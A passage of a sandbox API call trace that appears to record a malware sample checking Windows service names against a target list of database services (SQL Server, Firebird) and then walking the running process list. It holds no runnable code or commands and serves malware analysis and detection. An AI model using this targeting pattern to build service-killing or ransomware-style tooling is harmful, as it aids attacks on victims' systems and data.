lpString2="RpcSs") returned -1 [0180.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0180.670] lstrlenW (lpString="SamSs") returned 5 [0180.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0180.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0180.670] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0180.670] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0180.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0180.670] lstrlenW (lpString="Schedule") returned 8 [0180.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0180.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0180.670] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0180.670] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0180.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0180.670] lstrlenW (lpString="SecurityHealthService") returned 21 [0180.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0180.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0180.670] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0180.670] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0180.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0180.670] lstrlenW (lpString="SENS") returned 4 [0180.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0180.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0180.671] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0180.671] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0180.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0180.671] lstrlenW (lpString="ShellHWDetection") returned 16 [0180.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0180.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0180.671] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0180.671] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0180.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0180.671] lstrlenW (lpString="Spooler") returned 7 [0180.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0180.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0180.671] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0180.671] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0180.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0180.671] lstrlenW (lpString="SSDPSRV") returned 7 [0180.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0180.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0180.671] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0180.671] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0180.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0180.671] lstrlenW (lpString="StateRepository") returned 15 [0180.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0180.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0180.671] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0180.671] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0180.671] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7e7778 | out: hHeap=0x790000) returned 1 [0180.672] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x300 [0180.677] Process32FirstW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0180.678] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0180.679] lstrlenW (lpString="System") returned 6 [0180.679] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0180.680] lstrlenW (lpString="smss.exe") returned 8 [0180.680] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0180.681] lstrlenW (lpString="csrss.exe") returned 9 [0180.681] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0180.682] lstrlenW (lpString="wininit.exe") returned 11 [0180.682] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0180.683] lstrlenW (lpString="csrss.exe") returned 9 [0180.683] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0180.684] lstrlenW (lpString="winlogon.exe") returned 12 [0180.684] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0180.685] lstrlenW (lpString="services.exe") returned 12 [0180.685] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0180.686] lstrlenW (lpString="lsass.exe") returned 9 [0180.686] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.687] lstrlenW (lpString="svchost.exe") returned 11 [0180.687] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0180.688] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0180.780] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0180.781] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0180.781] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.782] lstrlenW (lpString="svchost.exe") returned 11 [0180.782] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0180.782] lstrlenW (lpString="dwm.exe") returned 7 [0180.783] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x58, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.783] lstrlenW (lpString="svchost.exe") returned 11 [0180.783] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.784] lstrlenW (lpString="svchost.exe") returned 11 [0180.784] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.785] lstrlenW (lpString="svchost.exe") returned 11 [0180.785] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.786] lstrlenW (lpString="svchost.exe") returned 11 [0180.786] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.787] lstrlenW (lpString="svchost.exe") returned 11 [0180.787] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.788] lstrlenW (lpString="svchost.exe") returned 11 [0180.788] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.789] lstrlenW (lpString="svchost.exe") returned 11 [0180.789] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.790] lstrlenW (lpString="svchost.exe") returned 11 [0180.790] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.790] lstrlenW (lpString="svchost.exe") returned 11 [0180.790] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0180.791] lstrlenW (lpString="spoolsv.exe") returned 11 [0180.791] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.792] lstrlenW (lpString="svchost.exe") returned 11 [0180.792] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.793] lstrlenW (lpString="svchost.exe") returned 11 [0180.793] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0180.794] lstrlenW (lpString="audiodg.exe") returned 11 [0180.794] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0181.112] lstrlenW (lpString="sihost.exe") returned 10 [0181.112] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.112] lstrlenW (lpString="svchost.exe") returned 11 [0181.112] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0181.113] lstrlenW (lpString="taskhostw.exe") returned 13 [0181.113] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0181.114] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0181.114] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0181.115] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0181.115] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x41, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0181.116] lstrlenW (lpString="explorer.exe") returned 12 [0181.116] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0181.117] lstrlenW (lpString="Memory Compression") returned 18 [0181.117] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0181.118] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0181.118] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0181.119] lstrlenW (lpString="SearchUI.exe") returned 12 [0181.119] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0181.120] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0181.120] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0181.121] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0181.121] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0181.122] lstrlenW (lpString="taskhostw.exe") returned 13 [0181.122] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0181.123] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0181.123] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0181.124] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0181.124] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0181.125] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0181.125] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfe0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0181.126] lstrlenW (lpString="conhost.exe") returned 11 [0181.126] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver.exe")) returned 1 [0181.127] lstrlenW (lpString="screensaver.exe") returned 15 [0181.127] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upperarc.exe")) returned 1 [0181.127] lstrlenW (lpString="upperarc.exe") returned 12 [0181.127] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying.exe")) returned 1 [0181.128] lstrlenW (lpString="buying.exe") returned 10 [0181.128] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="downloadable.exe")) returned 1 [0181.129] lstrlenW (lpString="downloadable.exe") returned 16 [0181.129] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guests_production_meanwhile.exe")) returned 1 [0181.130] lstrlenW (lpString="guests_production_meanwhile.exe") returned 31 [0181.130] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed-shirts.exe")) returned 1 [0181.131] lstrlenW (lpString="deemed-shirts.exe") returned 17 [0181.131] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mugwritesheroes.exe")) returned 1 [0181.132] lstrlenW (lpString="mugwritesheroes.exe") returned 19 [0181.132] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="swapdamelooked.exe")) returned 1 [0181.133] lstrlenW (lpString="swapdamelooked.exe") returned 18 [0181.133] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="moments.exe")) returned 1 [0181.134] lstrlenW (lpString="moments.exe") returned 11 [0181.134] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-sector-antonio.exe")) returned 1 [0181.135] lstrlenW (lpString="geo-sector-antonio.exe") returned 22 [0181.135] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="stream-test.exe")) returned 1 [0181.136] lstrlenW (lpString="stream-test.exe") returned 15 [0181.136] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="crestboatingstuffed.exe")) returned 1 [0181.137] lstrlenW (lpString="crestboatingstuffed.exe") returned 23 [0181.137] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist_exhaust.exe")) returned 1 [0181.138] lstrlenW (lpString="wrist_exhaust.exe") returned 17 [0181.138] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers-indication.exe")) returned 1 [0181.142] lstrlenW (lpString="movers-indication.exe") returned 21 [0181.142] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="drama tv thee.exe")) returned 1 [0181.143] lstrlenW (lpString="drama tv thee.exe") returned 17 [0181.143] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="barriers.exe")) returned 1 [0181.144] lstrlenW (lpString="barriers.exe") returned 12 [0181.144] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="shootclick.exe")) returned 1 [0181.145] lstrlenW (lpString="shootclick.exe") returned 14 [0181.145] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, 